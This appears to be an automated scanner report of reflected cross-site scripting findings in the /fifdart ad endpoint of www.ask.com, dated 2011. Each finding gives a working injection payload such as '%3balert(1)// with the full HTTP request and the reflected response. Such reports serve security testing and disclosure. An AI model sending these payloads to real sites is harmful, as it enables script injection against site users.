XSS, DORK, Cross Site Scripting, Unforgivable Vulnerabilities, CWE-79

The value of the dartgadoutput request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 484eb\'%3b816a68b5162 was submitted in the dartgadoutput parameter. This input was echoed as 484eb\\';816a68b5162 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Request

GET /fifdart?dartsite=5480ask.testsite&dartsitelive=5480.iac.usa.ask.hp.x.x.dir&darturi=ad.doubleclick.net%2fadj%2f&dartsize=300x250&darttile=&darts=as&dartpos=&darthhi=159&darttest=0&dartcata=&dartcatb=&dartcatc=&dartclid=&dartgclient=ca-aj-cat&dartgchannel=&dartgadtype=image%2cflash&dartgadoutput=js484eb\'%3b816a68b5162&dartgadsafe=high&q= HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:17 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5427

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<title>Dart ad</title>

<style type="text/css">
html, body {
border: 0px;
...[SNIP]...
<script type="text/javascript">
var google_ad_client = 'ca-aj-cat';
var google_ad_channel = '';
var google_hints = '';
var google_ad_output = 'js484eb\\';816a68b5162';
var google_max_num_ads = '1';
var google_page_url = '';
var google_ad_type = 'image,flash';
var google_image_size = '300x250';
var google_
...[SNIP]...

1.2. http://www.ask.com/fifdart [dartgadsafe parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.ask.com
Path:	/fifdart

Issue detail

The value of the dartgadsafe request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5650e\'%3be954f92cef7 was submitted in the dartgadsafe parameter. This input was echoed as 5650e\\';e954f92cef7 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Request

GET /fifdart?dartsite=5480ask.testsite&dartsitelive=5480.iac.usa.ask.hp.x.x.dir&darturi=ad.doubleclick.net%2fadj%2f&dartsize=300x250&darttile=&darts=as&dartpos=&darthhi=159&darttest=0&dartcata=&dartcatb=&dartcatc=&dartclid=&dartgclient=ca-aj-cat&dartgchannel=&dartgadtype=image%2cflash&dartgadoutput=js&dartgadsafe=high5650e\'%3be954f92cef7&q= HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:17 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5427

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<title>Dart ad</title>

<style type="text/css">
html, body {
border: 0px;
...[SNIP]...
0';
var google_num_ads_recieved= '';
var google_language = '';
var google_country = '';
var google_encoding = 'utf8';
var google_safe = 'high5650e\\';e954f92cef7';
var google_adtest = 'off';
var google_kw = '';
var google_kw_type = 'broad';

document.write('<script type="text\/javascript" src="http://ad.doublecli
...[SNIP]...

1.3. http://www.ask.com/fifdart [dartgadtype parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.ask.com
Path:	/fifdart

Issue detail

The value of the dartgadtype request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9ede9\'%3bfbde3563d45 was submitted in the dartgadtype parameter. This input was echoed as 9ede9\\';fbde3563d45 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Request

GET /fifdart?dartsite=5480ask.testsite&dartsitelive=5480.iac.usa.ask.hp.x.x.dir&darturi=ad.doubleclick.net%2fadj%2f&dartsize=300x250&darttile=&darts=as&dartpos=&darthhi=159&darttest=0&dartcata=&dartcatb=&dartcatc=&dartclid=&dartgclient=ca-aj-cat&dartgchannel=&dartgadtype=image%2cflash9ede9\'%3bfbde3563d45&dartgadoutput=js&dartgadsafe=high&q= HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:16 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5427

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<title>Dart ad</title>

<style type="text/css">
html, body {
border: 0px;
...[SNIP]...
var google_hints = '';
var google_ad_output = 'js';
var google_max_num_ads = '1';
var google_page_url = '';
var google_ad_type = 'image,flash9ede9\\';fbde3563d45';
var google_image_size = '300x250';
var google_num_ads_recieved= '';
var google_language = '';
var google_country = '';
var google_encoding
...[SNIP]...

1.4. http://www.ask.com/fifdart [dartgchannel parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.ask.com
Path:	/fifdart

Issue detail

The value of the dartgchannel request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 20b58\'%3bb90d53e5b88 was submitted in the dartgchannel parameter. This input was echoed as 20b58\\';b90d53e5b88 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Request

GET /fifdart?dartsite=5480ask.testsite&dartsitelive=5480.iac.usa.ask.hp.x.x.dir&darturi=ad.doubleclick.net%2fadj%2f&dartsize=300x250&darttile=&darts=as&dartpos=&darthhi=159&darttest=0&dartcata=&dartcatb=&dartcatc=&dartclid=&dartgclient=ca-aj-cat&dartgchannel=20b58\'%3bb90d53e5b88&dartgadtype=image%2cflash&dartgadoutput=js&dartgadsafe=high&q= HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Thu, 24 Mar 2011 16:07:15 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5427

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<title>Dart ad</title>

<style type="text/css">
html, body {
border: 0px;
...[SNIP]...
<script type="text/javascript">
var google_ad_client = 'ca-aj-cat';
var google_ad_channel = '20b58\\';b90d53e5b88';
var google_hints = '';
var google_ad_output = 'js';
var google_max_num_ads = '1';
var google_page_url = '';
var google_ad_type = 'image,fl
...[SNIP]...

1.5. http://www.ask.com/fifdart [dartgclient parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.ask.com
Path:	/fifdart

Issue detail

The value of the dartgclient request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e3f7c\'%3b5cfb58d0629 was submitted in the dartgclient parameter. This input was echoed as e3f7c\\';5cfb58d0629 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Request

GET /fifdart?dartsite=5480ask.testsite&dartsitelive=5480.iac.usa.ask.hp.x.x.dir&darturi=ad.doubleclick.net%2fadj%2f&dartsize=300x250&darttile=&darts=as&dartpos=&darthhi=159&darttest=0&dartcata=&dartcatb=&dartcatc=&dartclid=&dartgclient=ca-aj-cate3f7c\'%3b5cfb58d0629&dartgchannel=&dartgadtype=image%2cflash&dartgadoutput=js&dartgadsafe=high&q= HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:14 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5427

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<title>Dart ad</title>

<style type="text/css">
html, body {
border: 0px;
...[SNIP]...
<script type="text/javascript">
var google_ad_client = 'ca-aj-cate3f7c\\';5cfb58d0629';
var google_ad_channel = '';
var google_hints = '';
var google_ad_output = 'js';
var google_max_num_ads = '1';
var google_page_url = '';

...[SNIP]...

1.6. http://www.ask.com/fifdart [darts parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ask.com
Path:	/fifdart

Issue detail

The value of the darts request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 81bb7'%3balert(1)//3de897a564 was submitted in the darts parameter. This input was echoed as 81bb7';alert(1)//3de897a564 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fifdart?dartsite=5480ask.testsite&dartsitelive=5480.iac.usa.ask.hp.x.x.dir&darturi=ad.doubleclick.net%2fadj%2f&dartsize=300x250&darttile=&darts=as81bb7'%3balert(1)//3de897a564&dartpos=&darthhi=159&darttest=0&dartcata=&dartcatb=&dartcatc=&dartclid=&dartgclient=ca-aj-cat&dartgchannel=&dartgadtype=image%2cflash&dartgadoutput=js&dartgadsafe=high&q= HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:06 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5434

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<title>Dart ad</title>

<style type="text/css">
html, body {
border: 0px;
...[SNIP]...
<script type="text\/javascript" src="http://ad.doubleclick.net/adj/5480.iac.usa.ask.hp.x.x.dir/;sz=300x250;log=0;s=as81bb7';alert(1)//3de897a564;hhi=159;test=0;ord=1300982826477?">
...[SNIP]...

1.7. http://www.ask.com/fifdart [dartsitelive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ask.com
Path:	/fifdart

Issue detail

The value of the dartsitelive request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc81f'%3balert(1)//6ea5ef1e2e2 was submitted in the dartsitelive parameter. This input was echoed as cc81f';alert(1)//6ea5ef1e2e2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fifdart?dartsite=5480ask.testsite&dartsitelive=5480.iac.usa.ask.hp.x.x.dircc81f'%3balert(1)//6ea5ef1e2e2&darturi=ad.doubleclick.net%2fadj%2f&dartsize=300x250&darttile=&darts=as&dartpos=&darthhi=159&darttest=0&dartcata=&dartcatb=&dartcatc=&dartclid=&dartgclient=ca-aj-cat&dartgchannel=&dartgadtype=image%2cflash&dartgadoutput=js&dartgadsafe=high&q= HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:03 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5435

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<title>Dart ad</title>

<style type="text/css">
html, body {
border: 0px;
...[SNIP]...
<script type="text\/javascript" src="http://ad.doubleclick.net/adj/5480.iac.usa.ask.hp.x.x.dircc81f';alert(1)//6ea5ef1e2e2/;sz=300x250;log=0;s=as;hhi=159;test=0;ord=1300982823459?">
...[SNIP]...

1.8. http://www.ask.com/fifdart [dartsize parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.ask.com
Path:	/fifdart

Issue detail

The value of the dartsize request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d20fe\'%3ba9177b1e6f6 was submitted in the dartsize parameter. This input was echoed as d20fe\\';a9177b1e6f6 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Request

GET /fifdart?dartsite=5480ask.testsite&dartsitelive=5480.iac.usa.ask.hp.x.x.dir&darturi=ad.doubleclick.net%2fadj%2f&dartsize=300x250d20fe\'%3ba9177b1e6f6&darttile=&darts=as&dartpos=&darthhi=159&darttest=0&dartcata=&dartcatb=&dartcatc=&dartclid=&dartgclient=ca-aj-cat&dartgchannel=&dartgadtype=image%2cflash&dartgadoutput=js&dartgadsafe=high&q= HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:04 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5452

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<title>Dart ad</title>

<style type="text/css">
html, body {
border: 0px;
...[SNIP]...
var google_ad_output = 'js';
var google_max_num_ads = '1';
var google_page_url = '';
var google_ad_type = 'image,flash';
var google_image_size = '300x250d20fe\\';a9177b1e6f6';
var google_num_ads_recieved= '';
var google_language = '';
var google_country = '';
var google_encoding = 'utf8';
var google_safe = 'high'
...[SNIP]...

1.9. http://www.ask.com/fifdart [darturi parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ask.com
Path:	/fifdart

Issue detail

The value of the darturi request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b67cf'%3balert(1)//22cd3871f2d was submitted in the darturi parameter. This input was echoed as b67cf';alert(1)//22cd3871f2d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fifdart?dartsite=5480ask.testsite&dartsitelive=5480.iac.usa.ask.hp.x.x.dir&darturi=ad.doubleclick.net%2fadj%2fb67cf'%3balert(1)//22cd3871f2d&dartsize=300x250&darttile=&darts=as&dartpos=&darthhi=159&darttest=0&dartcata=&dartcatb=&dartcatc=&dartclid=&dartgclient=ca-aj-cat&dartgchannel=&dartgadtype=image%2cflash&dartgadoutput=js&dartgadsafe=high&q= HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:03 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5435

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<title>Dart ad</title>

<style type="text/css">
html, body {
border: 0px;
...[SNIP]...
<script type="text\/javascript" src="http://ad.doubleclick.net/adj/b67cf';alert(1)//22cd3871f2d5480.iac.usa.ask.hp.x.x.dir/;sz=300x250;log=0;s=as;hhi=159;test=0;ord=1300982823595?">
...[SNIP]...

1.10. http://www.ask.com/fifdart [q parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.ask.com
Path:	/fifdart

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b3880\'%3b487775315e3 was submitted in the q parameter. This input was echoed as b3880\\';487775315e3 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

